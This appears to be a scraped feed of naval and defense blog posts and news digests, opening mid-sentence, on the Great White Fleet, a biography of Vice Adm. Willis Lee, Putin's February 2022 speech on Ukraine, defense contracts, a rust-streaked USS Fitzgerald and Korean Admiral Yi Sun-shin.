improvement was with Japan. According to former Naval History and Heritage Command historian Michael Crawford, the visit by the fleet provided the main impetus behind the Root-Takahira Agreement, which helped quell any uneasiness about possible warfare and establish a “status quo” in the Pacific. 9. The Cruise Benefitted the Navy’s Training The cruise provided the officers and men of the fleet with thorough at-sea training and brought about improvements in formation, steaming, coal economy, gunnery, and morale. It also stressed the need for overseas bases that could provide better coaling and supply services along with more auxiliary ships. 10. The Cruise Highlighted the Need for Naval Bases Around the World Foreign coaling ships or ports were used 90 percent of the time for coaling and resupply. This was the main criticism of the cruise. As Scientific American noted, “We refer to our great shortage of colliers and to the fact that had it not been for the foreign bottoms in which coal was shipped to the fleet at various points of rendezvous, it would have been impossible for this voyage to have been made. . . . [In a wartime setting] with no colliers of our own available to carry the necessary fuel, our sixteen battleships would have been as useless as so many anchored.” Naval Station Pearl Harbor was established on the Hawaiian island of Oahu in 1908, the year of the end of the cruise. Despite the dependence on coaling and resupply, there were no major ship breakdowns or accidents during the fourteen-month voyage. For more info, visit the NHHC website on the Great White Fleet. The post The Great White Fleet: Top 10 Things You May Not Know About the Historic U.S. Navy Worldwide Cruise first appeared on Naval Historical Foundation. View the full article

The wrong people with the wrong ideas talking to important people with little experience of the real world have got us here - why do we think they will get us out of the problems we are in? We no longer are the largest Navy, and we no longer act as a competent, reliable, or well led Navy. What to do? Our friend Kori Schake has some ideas, and I'm pondering them over at USNIBlog. Come on by and bring your amens. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=ftNoVp5xiRQ:o_KziZ34ALM:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=ftNoVp5xiRQ:o_KziZ34ALM:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=ftNoVp5xiRQ:o_KziZ34ALM:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=ftNoVp5xiRQ:o_KziZ34ALM:F7zBnMyn0Lo View the full article

Reviewed by David F. Winkler, Ph.D. Paul Stillwell has filled one of the remaining voids in the bibliographic study of America’s World War II naval leadership with his well-written narrative of Vice Adm. Willis A. “Ching” Lee who was entrusted with command of the American battleline during the Pacific war against Japan. Such a position, merely a decade earlier, would have placed him at the pantheon of American naval leadership during the war. Yet with aircraft carriers supplanting battleships as the primary capital ship in the wake of Pearl Harbor, the big-gun combatants would be relegated to shore bombardment and fleet air defense duties. There were some notable exceptions and thanks to the late James Hornfischer’s Neptune’s Infernal and Trent Hone’s Learning War, we have a greater appreciation of the contributions that gunships of various tonnages made during the war. Stillwell’s work broadens our understanding that the American naval narrative extends beyond Coral Sea, Midway, and the Marianas Turkey Shoot. That it took eight decades after the Japanese attack on December 7, 1941, to publish this book about such a significant naval leader is a story in itself. Stillwell began working on this biography over four decades ago which was inspired by his assignment during the Vietnam War to the battleship New Jersey – one of Lee’s former flagships. Fortunately for Stillwell, he was not the first to recognize the significance of Lee’s career. Evan Smith, a journalist from Lee’s home county in Kentucky, followed the exploits of the young lad once known as “Mose” and compiled quite the collection of newspaper clippings, correspondence, and other biographical materials. Yet despite Stillwell’s access to this trove of material left by a deceased reporter, a thorough study of Lee presented an uphill challenge. Lee distained publicity and rarely allowed himself to be interviewed. He kept no diary. Furthermore, he died before V-J Day so there were no opportunities for oral histories or memoir writing. For Stillwell, his duties with the U.S. Naval Institute to conduct oral histories, editing the journal Naval History, and taking on other book projects to include studies on the battleships Arizona and New Jersey as well as the award-winning Golden Thirteen overview of the Navy’s first African-American officers kept this project on the back burner. However, it is evident that this published 2021 edition benefitted from Stillwell’s biographic oral history work with numerous officers who had served under Lee. Stillwell’s work also drew from some of the more recent scholarship on the Pacific War to include the aforementioned Hornfischer and Hone, but others such as Richard Frank and Evan Thomas. It’s lauded that he is not timid about giving such authors a shout out in his narrative and quote some of the finer prose from these authors of previous work to enhance the narrative. Stillwell employs two writing styles in covering Lee’s life. One reason Stillwell is a repeated guest on the Naval Historical Foundation’s monthly Second Saturday webinar is that he is a master teller of short vignettes. Such is the case in the chapters leading up to World War II where Stillwell tells the Lee tale through a continuous chronological string of short stories about Lee’s upbringing in rural Kentucky, his time at the Naval Academy where he got tagged with the “Ching” nickname that he fully embraced, his success as a marksman with both rifle and pistol, his courtship and marriage to Mabelle Allen who he affectionately called “Chubby,” and his various duties following his graduation for the Naval Academy in 1908 through World War I and into the interwar period. Of note, the U.S. Navy’s top battleship commander during World War II never had a battleship command before the war. A chain smoker, Lee was not a spit and polish type of guy. In discussing his duties with the Fleet Training Division at Main Navy prior to World War II, Stillwell writes: “He was far less interested in which ships won Es for excellence than determining the maximum capabilities of men, ships, and weapons, then finding the best way to employ those capabilities.” (p. 88) Stillwell’s style changes from vignettes to synthesis as Lee, ordered to the South Pacific to command the Navy’s new fast battleships, finds himself engaged on the night of 14-15 November 1942 in part II of what became known as the Naval Battle of Guadalcanal. Here Stillwell builds on the narratives of Morison, Frank, Hornfischer, Hone and others to incorporate materials from oral histories, interviews, and action reports to write a climatic chapter where Lee’s task force of two battleships and four destroyers confront a Japanese surface action group of cruisers and destroyers centered on the battleship Kirishima. The Americans suffer the loss of three destroyers and heavy damage inflicted on the fourth destroyer and battleship South Dakota but Washington’s broadsides succeed in adding Kirishima to the floor of Iron Bottom Sound and force the Japanese to abandon their campaign to wrest control of Guadalcanal from the Americans. Stillwell addresses Lee’s decision not to venture forth from Saipan for a surface engagement in the Battle for the Philippine Sea that became noted for a defensive air engagement dubbed the Great Marianas Turkey Shoot. He then delves into the lost opportunity during the Battle of Leyte Gulf where miscommunications between the Third and Seventh Fleets left San Bernardino Strait open for Vice Adm. Takao Kurita’s Center Force to threaten the American invasion force off Samar. Had Lee been detached by Adm. William F. Halsey to guard San Bernardino Strait, a repeat of the Surigao Strait engagement would have added considerable luster to what today is regarded as a somewhat controversial victory. With the arrival of Kamikazes as an unanticipated threat to the fleet, Lee is ordered home in command of Task Force 69, an experimental unit based at Casco Bay, Maine to develop AA tactics and evaluate weapons systems to counter the suicide aircraft. With the detonations of atomic bombs at Hiroshima and Nagasaki causing the Japanese to sue for peace, Lee’s mission became superfluous and as Stillwell points out, his reason for existence. On August 25, 1945 he died of a heart attack. As a retired Surface Warfare Officer, I highly commend this study in leadership to all SWOs. As unbelievable as it may seem, Vice Adm. Willis A. Lee is NOT in the Surface Navy Association Hall of Fame. This oversight needs to be corrected. Dr. Winkler is the staff historian with the Naval Historical Foundation. Battleship Commander: The Life of Willis A. Lee Jr. (Paul Stillwell, Naval Institute Press, Annapolis, MD, 2021). The post Battleship Commander: The Life of Willis A. Lee Jr. first appeared on Naval Historical Foundation. View the full article

If you are only reading commentary about Russian President Putin's speech of 21 Feb 2022 or watching short clips, you are doing yourself a disservice. While some reporting is good, there is a lot of spin, narrative shaping, and just plain lazy reporting. If you want to try to understand if not what is in Putin's head, but what he wants the Russian people to think is in his head, you need to read and watch the speech yourself. When someone tells you what they're thinking, listen to them. Putin isn't trying to bring back the Soviet Union, he's focused on something much deeper and meaningful, the Russian Empire...build back better, as it were. You can clearly see that he is playing a very long game. Just like he did in Georgia and Crimea last decade. He will take a bite, let the short term outrage burn itself out, let the rest of Europe and the international community regress to the mean, and then take another bite...etc...etc. As long as this process works, why change it? If you don't have time for a full read but want to get a boildown of foundation of the argument for all that follows, here is what got my attention. I would like to emphasise again that Ukraine is not just a neighbouring country for us. It is an inalienable part of our own history, culture and spiritual space. These are our comrades, those dearest to us – not only colleagues, friends and people who once served together, but also relatives, people bound by blood, by family ties. Since time immemorial, the people living in the south-west of what has historically been Russian land have called themselves Russians and Orthodox Christians. This was the case before the 17th century, when a portion of this territory rejoined the Russian state, and after. ... modern Ukraine was entirely created by Russia or, to be more precise, by Bolshevik, Communist Russia. This process started practically right after the 1917 revolution, and Lenin and his associates did it in a way that was extremely harsh on Russia – by separating, severing what is historically Russian land. Nobody asked the millions of people living there what they thought. Then, both before and after the Great Patriotic War, Stalin incorporated in the USSR and transferred to Ukraine some lands that previously belonged to Poland, Romania and Hungary. In the process, he gave Poland part of what was traditionally German land as compensation, and in 1954, Khrushchev took Crimea away from Russia for some reason and also gave it to Ukraine. In effect, this is how the territory of modern Ukraine was formed. ... When it comes to the historical destiny of Russia and its peoples, Lenin’s principles of state development were not just a mistake; they were worse than a mistake, as the saying goes. This became patently clear after the dissolution of the Soviet Union in 1991. ... It is a historical fact. Actually, as I have already said, Soviet Ukraine is the result of the Bolsheviks’ policy and can be rightfully called “Vladimir Lenin’s Ukraine.” He was its creator and architect. This is fully and comprehensively corroborated by archival documents, including Lenin’s harsh instructions regarding Donbass, which was actually shoved into Ukraine. And today the “grateful progeny” has overturned monuments to Lenin in Ukraine. They call it decommunization. You want decommunization? Very well, this suits us just fine. But why stop halfway? We are ready to show what real decommunizations would mean for Ukraine. ... it is a great pity that the fundamental and formally legal foundations of our state were not promptly cleansed of the odious and utopian fantasies inspired by the revolution, which are absolutely destructive for any normal state. As it often happened in our country before, nobody gave any thought to the future. ... It should be noted that Ukraine actually never had stable traditions of real statehood. And, therefore, in 1991 it opted for mindlessly emulating foreign models, which have no relation to history or Ukrainian realities. Political government institutions were readjusted many times to the rapidly growing clans and their self-serving interests, which had nothing to do with the interests of the Ukrainian people. Essentially, the so-called pro-Western civilisational choice made by the oligarchic Ukrainian authorities was not and is not aimed at creating better conditions in the interests of people’s well-being but at keeping the billions of dollars that the oligarchs have stolen from the Ukrainians and are holding in their accounts in Western banks, while reverently accommodating the geopolitical rivals of Russia. ... A stable statehood has never developed in Ukraine; its electoral and other political procedures just serve as a cover, a screen for the redistribution of power and property between various oligarchic clans. Corruption, which is certainly a challenge and a problem for many countries, including Russia, has gone beyond the usual scope in Ukraine. It has literally permeated and corroded Ukrainian statehood, the entire system, and all branches of power. ... In 2021, the Black Sea Shipyard in Nikolayev went out of business. Its first docks date back to Catherine the Great. Antonov, the famous manufacturer, has not made a single commercial aircraft since 2016, while Yuzhmash, a factory specialising in missile and space equipment, is nearly bankrupt. The Kremenchug Steel Plant is in a similar situation. This sad list goes on and on. As for the gas transportation system, it was built in its entirety by the Soviet Union, and it has now deteriorated to an extent that using it creates major risks and comes at a high cost for the environment. This situation begs the question: poverty, lack of opportunity, and lost industrial and technological potential – is this the pro-Western civilisational choice they have been using for many years to fool millions of people with promises of heavenly pastures? It all came down to a Ukrainian economy in tatters and an outright pillage of the country’s citizens, while Ukraine itself was placed under external control, directed not only from the Western capitals, but also on the ground, as the saying goes, through an entire network of foreign advisors, NGOs and other institutions present in Ukraine. They have a direct bearing on all the key appointments and dismissals and on all branches of power at all levels, from the central government down to municipalities, as well as on state-owned companies and corporations, including Naftogaz, Ukrenergo, Ukrainian Railways, Ukroboronprom, Ukrposhta, and the Ukrainian Sea Ports Authority. There is no independent judiciary in Ukraine. The Kiev authorities, at the West’s demand, delegated the priority right to select members of the supreme judicial bodies, the Council of Justice and the High Qualifications Commission of Judges, to international organisations. In addition, the United States directly controls the National Agency on Corruption Prevention, the National Anti-Corruption Bureau, the Specialised Anti-Corruption Prosecutor's Office and the High Anti-Corruption Court. All this is done under the noble pretext of invigorating efforts against corruption. All right, but where are the results? Corruption is flourishing like never before. Via The Kremlin Actual, you can get the official English transcript here, or you can watch the video with the live translation below. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=8fqNG5cnBFA:Oi90fGHs2FQ:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=8fqNG5cnBFA:Oi90fGHs2FQ:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=8fqNG5cnBFA:Oi90fGHs2FQ:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=8fqNG5cnBFA:Oi90fGHs2FQ:F7zBnMyn0Lo View the full article

If you are only reading commentary about Russian President Putin's speech of 21 Feb 2022 or watching short clips, you are doing yourself a disservice. While some reporting is good, there is a lot of spin, narrative shaping, and just plain lazy reporting. If you want to try to understand if not what is in Putin's head, but what he wants the Russian people to think is in his head, you need to read and watch the speech yourself. When someone tells you what they're thinking, listen to them. Putin isn't trying to bring back the Soviet Union, he's focused on something much deeper and meaningful, the Russian Empire...build back better, as it were. You can clearly see that he is playing a very long game. Just like he did in Georgia and Crimea last decade. He will take a bite, let the short term outrage burn itself out, let the rest of Europe and the international community regress to the mean, and then take another bite...etc...etc. As long as this process works, why change it? If you don't have time for a full read but want to get a boildown of foundation of the argument for all that follows, here is what got my attention. Via The Kremlin Actual, you can get the official English transcript here, or you can watch the video with the live translation below. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=GoUtIcr4RYQ:zKE_Kk5sXpk:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=GoUtIcr4RYQ:zKE_Kk5sXpk:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=GoUtIcr4RYQ:zKE_Kk5sXpk:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=GoUtIcr4RYQ:zKE_Kk5sXpk:F7zBnMyn0Lo View the full article

Americas Legacy Aircraft Services won a $20.5 million deal for A-10 and F-16 aircraft wiring harnesses. This was a competitive acquisition with four responses received. The A-10C Thunderbolt II is the first Air Force aircraft specially designed for close air support of ground forces. The A-10 Thunderbolt II has excellent maneuverability at low air speeds and altitude, and is a highly accurate and survivable weapons-delivery platform. The aircraft can loiter near battle areas for extended periods of time and operate in low ceiling and visibility conditions.Work will take place in California. Performance completion date is February 8, 2025. SpaceLogistics, a Northrop Grumman company, announced a launch agreement for its Mission Robotic Vehicle (MRV) spacecraft, and the sale of its first Mission Extension Pod (MEP). Under the launch agreement, SpaceX will provide launch services for a planned spring 2024 launch of the MRV and several MEPs. Optus, Australia’s largest satellite owner and operator, recently completed a purchase agreement with SpaceLogistics for installation of one of the MEPs on its D3 satellite in 2025. Middle East & Africa The Iron Dome of the Sea, “C-Dome,” has completed a successful live-fire test by the Israeli Navy and Rafael Advanced Systems. The launch marks “the end of a process to integrate the Iron Dome on naval platforms. It was operated for the 1st time aboard the Israeli Naval Ship Sa’ar 6 corvette against multiple advanced threats,” a Rafael said. Europe SMART SHOOTER has received an order from the Dutch military to provide them with its SMASH AD solution for operational use. The Dutch military has tested the system during the recent year, and decided to purchase it and use the systems immediately, mainly for C-UAS purposes, the company said in a release today. Asia-Pacific The Chinese Foreign Ministry announced it is imposing sanctions on two American firms – Lockheed Martin and Raytheon – that acted as the main contractors in the latest US arms sale to Taiwan. The companies will be punished based on the related regulations by China’s Anti-Foreign Sanctions Law, Wang Wenbin, a spokesperson at China’s Ministry of Foreign Affairs, said at a routine press conference on Monday. His statement comes after the US announced its plan on February 7 to sell $100 million worth of Patriot missile upgrades to Taipei. The Bangladesh Air Force took delivery of its fourth C-130J transport that it acquire from Britain on February 20. The aircraft landed in Bangabandhu after making stops in Cairo and Muscat. Bangladesh is buying a total of five C-130Js from Britain. Today’s Video WATCH: Rafael Tests C-Dome Air Defense on Israel’s New Magen Corvette View the full article

Americas Lockheed Martin won a $42.1 million contract modification, which exercises an option to procure ancillary mission equipment in support of F-35 Joint Strike Fighter Lot 16 production aircraft for the Navy, Marine Corps, Air Force, Foreign Military Sales customers, and non-US Department of Defense participants. Work will take place in Texas. Estimated completion is in December 2024. Sikorsky won a $37.7 million modification, which adds scope to procure 1,026 various spare parts for the CH-53K low rate initial production configuration aircraft. The CH-53K is the United States Marine Corps’ (USMC) heavy lift replacement for the CH-53E. The CH-53K comes with 63% fewer parts than its predecessor, ideally making it easier to maintain in austere conditions. Work will take place in California, Connecticut, Canada and Missouri. Estimated completion will be in December 2026. Middle East & Africa Israel Aerospace Industries (IAI) is displaying the BLUE SPEAR (5G SSM) surface-to-surface missile. The system, co-developed with Singapore’s leading defense company ST Engineering and marketed by joint venture company Proteus Advanced Systems, highlights the companies’ superior capabilities in both naval and air defense. The BLUE SPEAR (5G SSM) system is an advanced member of the next generation surface-to-surface missile system that is built on the battle-proven Gabriel missile family heritage. Europe Rheinmetall unveiled the latest addition to the company’s Lynx next-generation combat vehicle family, Lynx KF 41 IFV. Called the Lynx 120, this platform merges a turret concept and the 120mm smoothbore cannon with the Lynx KF 41 chassis. The new mechanized fire support variant of the Lynx offers the user outstanding fire support and anti-tank capabilities. The Lynx 120 is the perfect additional battlefield asset for Lynx platform users. Featuring off-the-shelf components, meticulous engineering reduces the vehicle’s weight, while customizable protection packages round out the package. The vehicle architecture has been simplified and provides an open ‘plug-and-play’ capability for future upgrades, while complying with, and adapting to, NATO standards. Asia-Pacific Boeing won a $103.7 million deal for the AH-6 aircraft. According to Boeing, the AH-6 is a helicopter ideal for Light Attack, Precision Attack, Anti-armor, Close Combat Attacks, Reconnaissance, Security & Escort, Troop Insertion/Extraction, Combat Search & Rescue. The AH-6’s mission computer processes large amounts of data and shares information across all aircraft systems quickly. It also increases safety, improves and aids decision making, enhances situational awareness, reduces pilot workload and decreases aircraft life cycle support costs. Work will take place in Arizona. Estimated completion date is May 30, 2025. India’s Defence Acquisition Council (DAC) started reviewing the procurement case for six Ka-31 airborne early warning helicopters that will be based on board INS Vikrant. The Hindu reports that the bid received had some deviations from the Request For Proposal (RFP) and the issues is being looked into. Today’s Video WATCH: AH-6 Little Bird in Action – Red Tracer Firing – Rocket – Simulation – ArmA 3 View the full article

There reaches a point where having a ship put to sea in peacetime, regardless of her mission short of directly saving human lives, is a net negative to its nation. Of all places, yesterday in broad daylight, the USS Fitzgerald (DDG-62) passed through the Singapore Strait. After our national humiliation in Afghanistan roughly half a year ago, and in the face of a serious challenge from China, in a part of the world where the powerful must maintain appearances less they lose face...behold what an organization that bills itself as the world's premier superpower has showing its flag. Piet over at Maasmondmaritime.com has a whole series of high-res pics of her passage yesterday. BEHOLD! Our Admiralty continues to send such ships forward to show the flag, and they seem to be content to send the message of a poor, decrepit empire run by distracted and disengaged leaders who lack self-awareness of their decline. I'll be blunt; this disgraces the Sailors, the ship, the Navy, and our nation. There are no excuses. Congress allocated to the Navy the money from the American taxpayer to buy this ship, and this is the level of stewardship we demonstrate. Sure, the CNO stated we needed a 500 ship Navy, but I'm sorry Admiral - until we can prove we can properly take care of the ships we have, we have not earned a single additional hull. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=RWfZ3FuZ8Mg:ONK0a25xMjg:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=RWfZ3FuZ8Mg:ONK0a25xMjg:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=RWfZ3FuZ8Mg:ONK0a25xMjg:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=RWfZ3FuZ8Mg:ONK0a25xMjg:F7zBnMyn0Lo View the full article

Americas Sikorsky won a $99.3 million deal, which provides products and support required to rapidly integrate and field VH-92A aircraft simulators and trainers in support of the Presidential Helicopter Program. The products include delivery of technical analysis, technical reports, trade studies, and retrofit kits for ground support equipment modifications that support deficiency resolution, capability/technology insertions, obsolescence redesigns, and reliability/sustainability improvements. The support includes program management, engineering, integrated logistics support, configuration management, system integration lab operation and maintenance, testing support, and Federal Aviation Administration certification activities. Work will take place in New York and Connecticut. Estimated completion will take place in February 2030. General Atomics Electromagnetic Systems (GA-EMS) completed the Final Design Review (FDR) of its spacecraft design for the US Space Force (USSF) Space Systems Command Electro-Optical Infrared (EO/IR) Weather System (EWS) satellite program. GA-EMS has developed a prototype EWS spacecraft utilizing a reliable, redundant bus with a high performance EO/IR weather sensor payload to support the USSF as it looks to transition from aging on-orbit systems to next generation weather satellites. Middle East & Africa Israeli aerospace firm Elbit Systems unveiled its new Skylark 3 hybrid small tactical unmanned aerial system at the Singapore Airshow 2022. The Skylark 3 is equipped with a hybrid propulsion system for improved endurance with no change to its size or weight. The system allows the unmanned aerial system to operate for up to 18 hours, significantly increasing mission effectiveness and cost-efficiency. Europe General Dynamics won a $19.3 million contract modification for fiscal 2022-2025 US and United Kingdom Trident II (D-5) SSBN Fire Control System and SSGN Attack Weapon Control System support. The Trident II D5 fleet ballistic missile (FBM) is a three-stage, solid-propellant, inertial-guided ballistic missile developed by Lockheed Martin. The missile can carry multiple independently targeted reentry bodies for a maximum range of over 7,360km. Work will take place in Massachusetts and Rhode Island. Estimated completion date is April 30, 2025. The DoS gave green light to a possible Foreign Military Sale to Poland of Abrams M1A2 SEPv3 Main Battle Tanks and related equipment for an estimated cost of $6 billion. The deal includes 250 M1A2SEPv3 Abrams Main Battle tanks; 250 AN/VLQ-12 CREW Duke counter-IED systems; 26 M88A2 HERCULES Combat Recovery vehicles; 17 M1110 joint assault bridges; 276 M2 .50 caliber machine guns; 500 M240C 7.62mm machine guns; 15 AGT1500 gas turbine engines; 9,168 120mm M865 Target Practice, Cone Stabilized, Discarding Sabot – Tracer (TPCSDS-T) cartridges; 4,592 120mm M1002 Target Practice Multipurpose Tracer (TPMP-T) projectiles; 13,920 120mm M830A1 High Explosive Anti-Tank (HEAT) TP-T cartridges; and 6,960 120mm XM1147 High Explosive multipurpose tracers. Asia-Pacific Yonhap News reported that South Korea intends to test fire the long-range L-SAM air defense missile this week.Testing is expected to be carried out at a test site in Taean on February 23. The L-SAM is designed to intercept ballistic missiles at an altitude of 80-100 kilometers. Today’s Video WATCH: Elbit Unveils Skylark 3 Hybrid STUAS… View the full article

http://2.bp.blogspot.com/-BRmsJF5OaUI/U8iUfbR92HI/AAAAAAAAIXI/VoI93S9dJF0/s200/220px-Yi_Sun-sin_1.jpg Have you ever heard of Admiral Yi of the Royal Korean Navy? Shame ... he was a complete stud ... and completely Fullbore. This is also instructive for those who think the whole Korea vs Japan thingy just has to do with WWII. No ... a lot deeper than that. It is hard to find good articles online about him outside Wikipedia - so I at least have to use their description of him for the uninitiated - it really is good; Yi Sun-shin (Hangul: 이순신; hanja: 李舜臣; April 28, 1545 – December 16, 1598) was a Korean naval commander, famed for his victories against the Japanese navy during the Imjin war in the Joseon Dynasty, and is well-respected for his exemplary conduct on and off the battlefield not only by Koreans, but by Japanese Admirals as well.[1] Military historians have compared his naval genius to that of Admiral Horatio Nelson.[2] His title of Samdo Sugun Tongjesa (삼도 수군 통제사 ; 三道水軍統制使), literally meaning "Naval Commander of the Three Provinces," was the title for the commander of the Korean navy until 1896. Perhaps his most remarkable military achievement occurred at the Battle of Myeongnyang. Outnumbered 133 warships to 13, and forced into a last stand with only his minimal fleet standing between the Japanese Army and Seoul, he still managed to destroy 33 of 133 Japanese warships in one of the most astonishing battles in military history. Despite never having received naval training or participating in naval combat prior to the war, and constantly being outnumbered and outsupplied, he went to his grave as one of few admirals in world history who remained undefeated after commanding as many naval battles as he did (at least 23). Yi died at the Battle of Noryang on December 16, 1598. With the Japanese army on the verge of being completely expelled from the Korean Peninsula, he was mortally wounded by a single bullet. His famous dying words were, "The battle is at its height...beat my war drums...do not announce my death."Nelson would understand. As a result of the difficulty I am having finding high-brow non-wikipedia, I'm going to steal from the a great tribute to him from the irreplacable website, badassoftheweek. Standard Kristen warning about pottymouth (BTW, whatever happened to her hotness? DB will do, I guess ... but still). Sailors should be OK about it though; Throughout 1592 Admiral Yi Soon Shin won numerous other small-scale battle against the Japanese Navy, sinking hundreds of enemy vessels during the course of two campaigns while suffering only eleven wounded sailors, no KIAs and no ships lost. Now it should be noted that the Korean ships were superior to the Japanese ships in terms of firepower and hull strength, but still holy shit that's a ***ing hell of a record. Yi was a brilliant naval strategist, carefully planning and coordinating all of his attacks and personally leading his navy into combat, issuing them directions on the fly. He received intelligence from local fishermen and villagers and planned his battles accordingly, striking enemy supply ships that were bringing food, supplies and munitions to the Japanese Army and severly hindering their war effort. In ship-to-ship combat on a tactical level, Yi relied on the firepower of his ships' cannons and ordered his men to avoid hand-to-hand combat with the Japanese navy at all costs. You see, the Japanese had tons of badass samurai so their strategy was to board the Korean ships and start chopping mother***ers up Mifune-style and there wasn't a whole lot of shit that the Koreans could do about it except die painfully. Yi knew that his men didn't stand a chance against goddamned samurai so he did his best to set fire to the Japanese vessels before they even got close and burn those jerks to death before they could start impaling people on their magical katanas. His men were down with this strategy. http://3.bp.blogspot.com/-LAEEJW69BJA/U8iUoJMO_HI/AAAAAAAAIXQ/jB-ECxFC3eU/s1600/admiralyi1.jpgHe also built something called "Turtle Ships" which sound kind of stupid and fruity but were actually awesome. Turtle Ships were large, fast-moving warships with reinforced metal plating completely covering the top deck to protect the sailors from enemy arrows and gunfire. The plates also had big-ass steel spikes sticking out of them so if any ninjas tried to fly on board they'd get impaled like when you knock Scorpion or Sub-Zero off the bridge level in Mortal Kombat. It carried about 30 guns, and the front of it was shaped like a badass dragon that shot a cannon out of it's mouth, had a smokescreen that came out of it's nose, and could be used as a battering ram to smash enemy ships into driftwood. Yi used the Turtle Ships to barrel through the enemy lines, blast everything they came across on either side and then ram the shit out of the enemy flagship, sinking it and drowning the Japanese commanders. Plus it looked ***ing badass and intimidated the shit out of people: ... Later in 1592 Yi Soon Shin took a force of 56 vessels and went up against a fleet of 73 Japanese battleships near Hansan Island, a fortress that pretty much served as party central for the Japanese invasion forces. Yi staged a fake retreat to draw the Japanese out of their fortified harbor and then caught them in a trap that sank 59 enemy ships and essentially crippled what was left of the Japanese Navy. Yi followed up this asskicking by capturing the enemy naval fortress at Pusan, sinking several hundred Japanese ships as they sat in port, crushing the enemy morale, seizing control of all the major supply routes to Northern Korea and choking off all Japanese reinforcements to the battlefront. Toyotomi Hideyoshi ordered his Admirals not to face the Korean Navy again because they were getting their ***ing asses reamed up and down the coast, and an armistice was signed between Korea and Japan. However, the peace didn't last long and before you know it the Japanese were ready to have more of their ships reduced to firewood by Admiral Yi. Unfortunately for the Koreans, in the time between the fighting the Japanese had managed to put a double agent into the Korean Court, and he convinced the King to order Admiral Yi to move his armada to a dangerous area known as the Chilchon Straits. When Yi received the order he immediately saw through the bullshit and refused it, reportedly giving the messenger the finger and then slapping him full in the face like a little bitch. So once again Yi Soon Shin was stripped of his rank, imprisioned and tortured within an inch of his life. Command was given to some jackass named Won Gyun, who was ***ing incompetent. Won moved Admiral Yi's combined force of 169 battleships and 30,000 sailors to the Chilchon Straits, directly into the trap that was laid for him by the Japanese. In the span of only a few hours Japanese Commando Samurai Ninja Marines annihilated the entire armada and chopped Won Gyun up into shark chum. Only thirteen ships and two hundred men were able to escape the carnage by bravely running away at top speed as soon as the Japanese started ***ing everything up. The King then decided to get his shit together and put Yi back in charge because at this point it was pretty mother***ing obvious that not just any idiot could lead the Korean Navy to victory against the Japanese war machine. When Yi retook command of his navy and saw the dire situation before him, he is reported to have said the following: "I still have thirteen ships. As long as I am alive, the enemies will never gain the Western Sea." So in 1597 Admiral Yi and his thirteen ships found themselves on the run, hunted by the entire Japanese Navy. At the Battle of Myeongnyang, Yi Soon Shin came face-to-face with a fleet of three hundred Japanese warships, all bearing down on him and filled to the brim with angry, screaming katana-wielding samurai warriors. Yi wisely positioned his tiny force to block a narrow strait Thermopylae-style in an effort to deny the Japanese the chance of completely enveloping him. The Japanese poured into the strait at top speed and ran head-on into a strong current that slowed them down considerably, leaving them exposed to fire from the Korean ships. During the course of the battle, Yi constantly repositioned his fleet in an effort to keep the Japanese marines at a distance and prevent them from boarding his ships. His cannons bombarded the enemy, and when the smoke cleared he had sunk 123 Japanese ships and killed over 12,000 enemy sailors, including the Admiral in command of the Japanese Navy. Yi's losses totaled three wounded and two killed. This insane victory broke the back of Japanese morale and marked a turning point in the war. At the Battle of Noryang, over 150 Korean and Chinese vessels finished the job on the Japanese Navy, defeating an armada of 500 enemy ships as they attempted to retreat back to Japan. While giving pursuit, Yi was shot in the chest and died. His last words were, "The battle is at it's height. Do not announce my death." The remnants of the Japanese fleet would limp back to its homeland and her leaders would sue for peace - the war was over.Read the whole thing. If I could only write that way.... To end it off, have some really bad East Asian FX; First posted July 2014 http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sLYOxRFA2dQ:WT60GgsMZhI:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sLYOxRFA2dQ:WT60GgsMZhI:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sLYOxRFA2dQ:WT60GgsMZhI:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sLYOxRFA2dQ:WT60GgsMZhI:F7zBnMyn0Lo View the full article

